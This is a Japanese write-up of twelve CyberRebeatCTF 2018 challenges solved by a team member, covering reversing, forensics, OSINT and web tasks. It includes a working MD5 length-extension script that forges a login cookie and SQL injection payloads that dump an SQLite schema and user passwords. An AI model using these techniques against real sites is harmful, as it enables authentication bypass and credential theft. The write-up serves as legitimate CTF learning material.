チーム Harekaze で CyberRebeatCTF に参加しました。最終的にチームで 5309 点を獲得し、順位は得点 154 チーム中 1 位 (最初に全完!) でした。うち、私は 12 問を解いて 2946 点を入れました。
以下、解いた問題の write-up です。
f31337
というファイルが与えられました。file
でどのようなファイルか確認します。
$ file f31337
f31337: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=357b227fbf18006edc995eaabb2d243d4584a7d3, not stripped
amd64 の ELF のようです。objdump
で逆アセンブルしてみます。
00000000004005e6 <main>:
4005e6: 48 83 ec 18 sub rsp,0x18
4005ea: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
4005f1: 00 00
4005f3: 48 89 44 24 08 mov QWORD PTR [rsp+0x8],rax
4005f8: 31 c0 xor eax,eax
4005fa: bf 69 7a 00 00 mov edi,0x7a69
4005ff: e8 b2 ff ff ff call 4005b6 <f>
400604: 48 89 04 24 mov QWORD PTR [rsp],rax
400608: ba 00 00 00 00 mov edx,0x0
40060d: 89 d1 mov ecx,edx
40060f: c1 f9 1f sar ecx,0x1f
400612: c1 e9 1d shr ecx,0x1d
400615: 8d 04 11 lea eax,[rcx+rdx*1]
400618: 83 e0 07 and eax,0x7
40061b: 29 c8 sub eax,ecx
40061d: 48 98 cdqe
40061f: 0f b6 04 04 movzx eax,BYTE PTR [rsp+rax*1]
400623: 30 82 40 10 60 00 xor BYTE PTR [rdx+0x601040],al
400629: 48 83 c2 01 add rdx,0x1
40062d: 48 83 fa 1b cmp rdx,0x1b
400631: 75 da jne 40060d <main+0x27>
400633: c6 05 21 0a 20 00 00 mov BYTE PTR [rip+0x200a21],0x0 # 60105b <FLAG+0x1b>
40063a: ba 40 10 60 00 mov edx,0x601040
40063f: be 04 07 40 00 mov esi,0x400704
400644: bf 01 00 00 00 mov edi,0x1
400649: b8 00 00 00 00 mov eax,0x0
40064e: e8 4d fe ff ff call 4004a0 <__printf_chk@plt>
400653: b8 00 00 00 00 mov eax,0x0
400658: 48 8b 74 24 08 mov rsi,QWORD PTR [rsp+0x8]
40065d: 64 48 33 34 25 28 00 xor rsi,QWORD PTR fs:0x28
400664: 00 00
400666: 74 05 je 40066d <main+0x87>
400668: e8 13 fe ff ff call 400480 <__stack_chk_fail@plt>
40066d: 48 83 c4 18 add rsp,0x18
400671: c3 ret
400672: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
400679: 00 00 00
40067c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
FLAG
(41 4F 1B DA 37 D8 F3 F3 50 16 00 CD 37 84 B4 CF 4E 4C 1C D1 37 D3 F4 E3 4C 5E 4F
) と f(31337)
の結果を xor して出力しているようです。f
を逆アセンブルしてみます。
00000000004005b6 <f>:
4005b6: b8 01 00 00 00 mov eax,0x1
4005bb: 83 ff 01 cmp edi,0x1
4005be: 7e 24 jle 4005e4 <f+0x2e>
4005c0: 55 push rbp
4005c1: 53 push rbx
4005c2: 48 83 ec 08 sub rsp,0x8
4005c6: 89 fb mov ebx,edi
4005c8: 8d 7f ff lea edi,[rdi-0x1]
4005cb: e8 e6 ff ff ff call 4005b6 <f>
4005d0: 48 89 c5 mov rbp,rax
4005d3: 8d 7b fe lea edi,[rbx-0x2]
4005d6: e8 db ff ff ff call 4005b6 <f>
4005db: 48 01 e8 add rax,rbp
4005de: 48 83 c4 08 add rsp,0x8
4005e2: 5b pop rbx
4005e3: 5d pop rbp
4005e4: f3 c3 repz ret
C っぽく直します。
long long f(int x) {
if (x == 1) {
return 1;
}
return f(x - 1) + f(x - 2);
}
f(x)
は x 番目のフィボナッチ数を返す関数だとわかりました。
from pwn import *
def fib(x):
a, b = 0, 1
for _ in range(x):
a, b = b, a + b
return b & 0xffffffffffffffff
s = '41 4F 1B DA 37 D8 F3 F3 50 16 00 CD 37 84 B4 CF 4E 4C 1C D1 37 D3 F4 E3 4C 5E 4F'.replace(' ', '').decode('hex')
print 'CRCTF{' + xor(s, p64(fib(31337))) + '}'
$ python2 solve.py
CRCTF{y0ur_m4chine_1s_v3ry_f3st!!}
フラグが得られた…はずですが、このまま投げても通りません。悩んでいると、@h_noson さんが f3st
を f4st
に置換して通されていました。
CRCTF{y0ur_m4chine_1s_v3ry_f4st!!}
以下のようなソースコードが与えられました。
<html>
<body style="background-color:#715638;color:white">
<a href = "index.php">return</a><br />
<?php
if($_COOKIE == null
|| !isset($_COOKIE["DataCookie"])
|| !isset($_COOKIE["Signature"])) {
echo "Login failed!";
return;
}
parse_str($_COOKIE["DataCookie"], $parse);
if ($parse == null
|| !isset($parse["logged_in"])
|| $parse["logged_in"] === "0"
|| !isset($parse["id"])) {
echo "Login failed : invalid parameters!";
return;
}
$salt = getenv('SIGNATURE_FLAG');
$data = "logged_in={$parse["logged_in"]}&id={$parse["id"]}";
$signature = md5($salt. $data);
if($signature !== $_COOKIE["Signature"]) {
echo "Login failed : invalid signature!";
return;
}
?>
<br />
Login successful!<br />
ID:<?php echo $parse["id"]; ?><br />
<?php
if($parse["id"] === "Kana") {
echo "FLAG: CRCTF{{$salt}}";
}
?>
<br />
</body>
</html>
Kana
でログインすればよいようですが、$salt
が不明なため署名はそのままでは得られません。ですが、$signature = md5($salt. $data);
ということなので Length Extension Attack ができそうです。
ログインに失敗した場合、以下のような Cookie が発行されていました。
Set-Cookie: DataCookie=logged_in=0
Set-Cookie: Signature=11606044ea561db956665279b3073f35
bwall/HashPump を使えば DataCookie
の後ろに 1&id=Kana
を追加し、その署名を得られそうです。が、このままでは DataCookie
に null バイトが含まれてしまうため、以下のように parse_str
で失敗してしまいます。
>>> parse_str("a=1&b=2\0&c=3", $parse); var_dump($parse);
array(2) {
["a"]=>
string(1) "1"
["b"]=>
string(1) "2"
}
ここで悩んでいたところ、@zeosutt さんが null バイトを %00
に置換すれば通ることを発見されました。
これを利用して、以下のスクリプトを実行するとフラグが得られました。
import urllib
import requests
import hashpumpy
i = 1
while True:
sig, data = hashpumpy.hashpump('11606044ea561db956665279b3073f35', 'logged_in=0', '1&id=Kana', i)
r = requests.get('http://signature.cyberrebeat.adctf.online/login.php', cookies={
'DataCookie': urllib.quote(data).replace('%00', '%2500'),
'Signature': sig
})
print i, r.content
i += 1
raw_input('next?')
$ python s.py
...
27 <html>
<body style="background-color:#715638;color:white">
<a href = "index.php">return</a><br />
<br />
Login successful!<br />
ID:Kana<br />
FLAG: CRCTF{Two years ago, August 31st.}
CRCTF{Two years ago, August 31st.}
与えられた URL にアクセスすると Please watch this video 300 times!
と表示されました。Chrome で DevTools の Network タブを見ていると MoviePlayer.dll
や Microsoft.AspNetCore.Blazor.Browser.dll
のような dll ファイルがダウンロードされていることが確認できました。
MoviePlayer.dll
を dnSpy でデコンパイルすると以下のようなコードが得られました。
using System;
using System.Security.Cryptography;
using System.Text;
using Microsoft.AspNetCore.Blazor;
using Microsoft.AspNetCore.Blazor.Browser.Interop;
using Microsoft.AspNetCore.Blazor.Components;
using Microsoft.AspNetCore.Blazor.Layouts;
using Microsoft.AspNetCore.Blazor.RenderTree;
namespace MoviePlayer.Pages
{
// Token: 0x02000007 RID: 7
[Layout, Route("/")]
public class Index : BlazorComponent
{
// Token: 0x0600000C RID: 12 RVA: 0x00002190 File Offset: 0x00000390
protected override void BuildRenderTree(RenderTreeBuilder builder)
{
base.BuildRenderTree(builder);
builder.OpenElement(0, "h1");
builder.AddContent(1, "CyberRebeat OP Movie");
builder.CloseElement();
builder.AddContent(2, "\n\n");
builder.OpenElement(3, "div");
builder.AddContent(4, "Please watch this video 300 times!");
builder.CloseElement();
builder.AddContent(5, "\n");
builder.OpenElement(6, "div");
builder.AddContent(7, "Count:");
builder.AddContent(8, this.count);
builder.CloseElement();
builder.OpenElement(9, "br");
builder.CloseElement();
builder.AddContent(10, "\n\n");
if (this.count >= 300)
{
builder.AddContent(11, "\t");
builder.OpenElement(12, "div");
builder.AddAttribute(13, "class", "div");
builder.AddContent(14, "FLAG:");
builder.CloseElement();
builder.AddContent(15, "\n\t");
builder.OpenElement(16, "iframe");
builder.AddAttribute(17, "src", this.txt);
builder.CloseElement();
builder.AddContent(18, "\n");
}
builder.AddContent(19, "\n");
builder.OpenElement(20, "button");
builder.AddAttribute(21, "class", "btn btn-primary");
builder.AddAttribute(22, "onclick", BindMethods.GetEventHandlerValue<UIMouseEventArgs>(new Action(this.startVideo)));
builder.AddContent(23, "Start");
builder.CloseElement();
builder.OpenElement(24, "br");
builder.CloseElement();
builder.AddContent(25, "\n\n");
builder.OpenElement(26, "video");
builder.AddAttribute(27, "id", "v");
builder.AddAttribute(28, "src", "OP.mp4");
builder.CloseElement();
}
// Token: 0x17000001 RID: 1
// (get) Token: 0x0600000D RID: 13 RVA: 0x00002388 File Offset: 0x00000588
private string txt
{
get
{
return this.encrypt("FLAG_IS_HERE") + ".txt";
}
}
// Token: 0x0600000E RID: 14 RVA: 0x000023A0 File Offset: 0x000005A0
private void startVideo()
{
DateTime now = DateTime.Now;
TimeSpan timeSpan = now - this.current;
if (timeSpan.TotalSeconds < 147.0)
{
RegisteredFunction.Invoke<object>("Warning", new object[]
{
(int)timeSpan.TotalSeconds
});
return;
}
this.count++;
RegisteredFunction.InvokeUnmarshalled<object>("MovieStart");
this.current = DateTime.Now;
}
// Token: 0x0600000F RID: 15 RVA: 0x00002418 File Offset: 0x00000618
private string encrypt(string str)
{
MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
return BitConverter.ToString(mD5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(str))).ToLower().Replace("-", "");
}
// Token: 0x04000003 RID: 3
private int count;
// Token: 0x04000004 RID: 4
private DateTime current = DateTime.MinValue;
}
}
/450646811a49819cf6bc2d372185aa35.txt
にアクセスするとフラグが得られました。
CRCTF{to the twilight of the internet}
CRCTF{CyberRebeatCTF_has_started!}
— CyberRebeat (@CyberRebeat) 2018年9月8日
CRCTF{CyberRebeatCTF_has_started!}
Do you know Github?
ということなので GitHub で CyberRebeat
を検索すると ennach/CyberRebeatScripts: CyberRebeat’s script files というリポジトリが見つかりました。
コミット履歴を調べると、delete FLAG というそれっぽいコミットが見つかりました。
CRCTF{I cut down her gag in a single strike}
GitHub で CyberRebeat
を検索すると ennach/ChangeHistory: CyberRebeat’s scripts 2 というリポジトリが見つかります。
Issues を見ると [ToDo] I committed the FLAG by mistake! · Issue #1 · ennach/ChangeHistory という Issue が見つかりました。
That commit hash is c476614bc439fe1910e494422b3aa207b776d486
ということなので plain texts · ennach/ChangeHistory@c476614 にアクセスするとフラグが得られました。
CRCTF{the timer is set to 120 seconds}
フラグが黒塗りで潰された PDF ファイルが与えられました。全選択 → コピー&ペーストでフラグが得られました。
CRCTF{I don't know of a time without the internet}
PNG ファイルが与えられました。stegsolve.jar で透明度の LSB だけを表示させるとフラグが得られました。
CRCTF{ALPHA_IS_THE_NAME_OF_A_HACKER_IN_CYBERREBEAT}
MP4 ファイルが与えられました。binwalk
に投げてみると以下のような結果が得られました。
$ binwalk a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3168548 0x305924 MySQL MISAM compressed data file Version 6
7049532 0x6B913C MySQL MISAM index file Version 8
20998118 0x14067E6 PNG image, 800 x 120, 8-bit/color RGB, non-interlaced
後ろの方に PNG があるようです。抽出し表示してみたものの、どうやら壊れているようです。バイナリエディタで確認してみると、IDAT チャンクのサイズの値と IDAT チャンクから次の IEND チャンクまでの距離が一致していません。
Header Reader MP4 を使って与えられた MP4 ファイルを確認すると、PNG ファイルは最後の 5 つの uuid
の Box で構成されていました。
24 バイトのヘッダ (参照: MP4(コンテナ) - 1.Box構造 - あるべるのIT関連メモ) を削除し結合すると、フラグの書かれた壊れていない PNG が得られました。
CRCTF{Ever since we were born, we've had the net}
Hiro
/ LittleGarden
という認証情報と URL が与えられました。アクセスしてみると以下のような HTML が返ってきました。
<html>
<head>
<title>NOAH.P</title>
<style>
button {
margin-top:100px;
}
</style>
</head>
<body>
<form action="index.php" method="post">
<input type="text" name="id" style="visibility:hidden" />
<input type="text" name="password" style="visibility:hidden" />
<button>LOGIN</button>
</form>
</body>
</html>
input
の style
を削除し、与えられた認証情報を入力するとフラグが得られました。
CRCTF{All I typed were four letters.}
以下のようなソースコードが与えられました。
<html>
<body>
<form action="LetsTweet.php" method="post">
Let's tweet and post its URL!<br>
Even if you don't want to do or you don't have twitter account, you can get the flag.<br>
<a href="https://twitter.com/share?ref_src=twsrc%5Etfw" class="twitter-share-button" data-text="I'm playing in CyberRebeatCTF now!" data-url="https://ennach.sakura.ne.jp/CyberRebeatCTF/" data-hashtags="CyberRebeatCTF" data-show-count="false">Tweet</a><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><br /><br />
以下のツイートを行い、そのURLの送信をお願いします!<br>
もしツイートしたくない、あるいはツイッターのアカウントを持っていないという場合でも、FLAGの取得は可能です。<br>
<a href="https://twitter.com/share?ref_src=twsrc%5Etfw" class="twitter-share-button" data-text="CyberRebeatCTF 参加中!" data-url="https://ennach.sakura.ne.jp/CyberRebeatCTF/index_jp.html" data-hashtags="CyberRebeatCTF" data-show-count="false">Tweet</a><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><br /><br />
<input type="text" name="url" placeholder="https://twitter.com/..." style="width:500px" /><br /><br />
<button>POST</button><br />
</form>
<div>
<?php
$url = isset($_POST["url"]) ? $_POST["url"] : "";
if($url == "") { return; }
if (!preg_match("/^https:\/\/twitter.com\/([A-Za-z0-9_]*?)\/status\/[0-9]*$/", $url)) {
echo "Please enter a valid tweet URL.";
return;
}
$content = file_get_contents($url);
if (strpos($content, '#CyberRebeatCTF') === false) {
echo "Please enter a valid tweet URL.";
return;
}
$db = new SQLite3('test.db');
$stmt = $db->prepare('SELECT COUNT(url) FROM Tweets WHERE url = ?');
$stmt->bindValue(1, $url, SQLITE3_TEXT);
$result = $stmt->execute();
if ($result->fetchArray()[0] > 0) {
echo "This URL already exists!";
return;
}
$flag = getenv('TWEET_FLAG');
echo "FLAG:CRCTF{{$flag}}";
$stmt = $db->prepare('INSERT INTO Tweets (url) VALUES (?)');
$stmt->bindValue(1, $url, SQLITE3_TEXT);
$stmt->execute();
$db->close();
?>
</div>
</body>
</html>
#CyberRebeatCTF
が含まれるツイートの URL を POST すればよいようです。Twitter で #CyberRebeatCTF
を検索し、出てきたツイートの URL の screen_name を適当なものに変え POST するとフラグが得られました。
CRCTF{Thank_you_for_your_tweet!}
アップローダーの URL が与えられました。ファイル名で検索できるフォームがあったので '
を検索してみると以下のようなエラーが返ってきました。
Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'" in /var/www/html/index.php on line 37
Fatal error: Uncaught Error: Call to a member function fetchArray() on boolean in /var/www/html/index.php:38 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 38
SQLite3 が使われていることがわかります。' union select sql, 2, 3, 4 from sqlite_master;--
を検索してみると以下のような結果が返ってきました。
ID FileName Published UploadUser
1 circlecut.jpg 2018-04-01 guest
2 prologue_en.txt 2018-05-15 guest
3 prologue_jp.txt 2015-05-14 guest
4 rough_misa.jpg 2018-05-20 guest
5 sample.zip 2018-07-01 guest
CREATE TABLE "Files" ( `id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `file_name` TEXT NOT NULL, `publication_date` INTEGER NOT NULL, `upload_userid` TEXT ) 2 3 4
CREATE TABLE `Users` ( `userid` TEXT NOT NULL, `password` TEXT NOT NULL ) 2 3 4
CREATE TABLE sqlite_sequence(name,seq) 2 3 4
Users
の内容を ' union select userid, password, 3, 4 from users;--
で抜き出してみます。
ID FileName Published UploadUser
1 circlecut.jpg 2018-04-01 guest
2 prologue_en.txt 2018-05-15 guest
3 prologue_jp.txt 2015-05-14 guest
4 rough_misa.jpg 2018-05-20 guest
5 sample.zip 2018-07-01 guest
guest guest 3 4
harada seishin0129 3 4
harada
/ seishin0129
でログインしてみると以下のようなアップロード履歴が表示されました。
ID FileName PublicationDate ZipPassword
6 secret.zip 2018-09-20 554587c5adc54a2a2e6f
secret.zip
というファイルをダウンロードし、554587c5adc54a2a2e6f
というパスワードで展開するとフラグが得られました。
CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}